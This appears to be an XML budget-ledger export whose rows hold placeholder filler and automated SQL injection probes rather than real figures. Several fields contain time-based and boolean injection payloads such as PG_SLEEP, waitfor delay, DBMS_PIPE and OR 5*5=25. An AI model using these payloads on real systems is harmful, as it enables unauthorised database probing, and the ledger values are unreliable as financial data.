<row _id="1"><ledger_type>1-1); waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1 waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1U82WguRX' OR 215=(SELECT 215 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1M96tAs2e') OR 342=(SELECT 342 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1����%2527%2522\'\"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(select 198766*667891 from DUAL)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=25 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=26 or 'YJIIvIe5'='</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMUbjhmXQE7') OR 733=(SELECT 733 FROM PG_SLEEP(15))--</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1)) OR 719=(SELECT 719 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1rmJYPTuG')) OR 568=(SELECT 568 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>@@utdtC</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(select 198766*667891)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(select 198766*667891)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1 OR 702=(SELECT 702 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(select 198766*667891 from DUAL)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMUy8pFGzqR' OR 471=(SELECT 471 FROM PG_SLEEP(15))--</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU816yqy65')) OR 302=(SELECT 302 FROM PG_SLEEP(15))--</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1����%2527%2522\'\"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(select 198766*667891 from DUAL)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1iX7vpChm') OR 756=(SELECT 756 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>(select 198766*667891)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1pHj50OQ8'; waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=25 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>if(now()=sysdate(),sleep(15),0)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU-1 waitfor delay '0:0:15' -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMURFxnrsZd') OR 131=(SELECT 131 FROM PG_SLEEP(15))--</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=26 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=25 or 'wa8edcfn'='</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
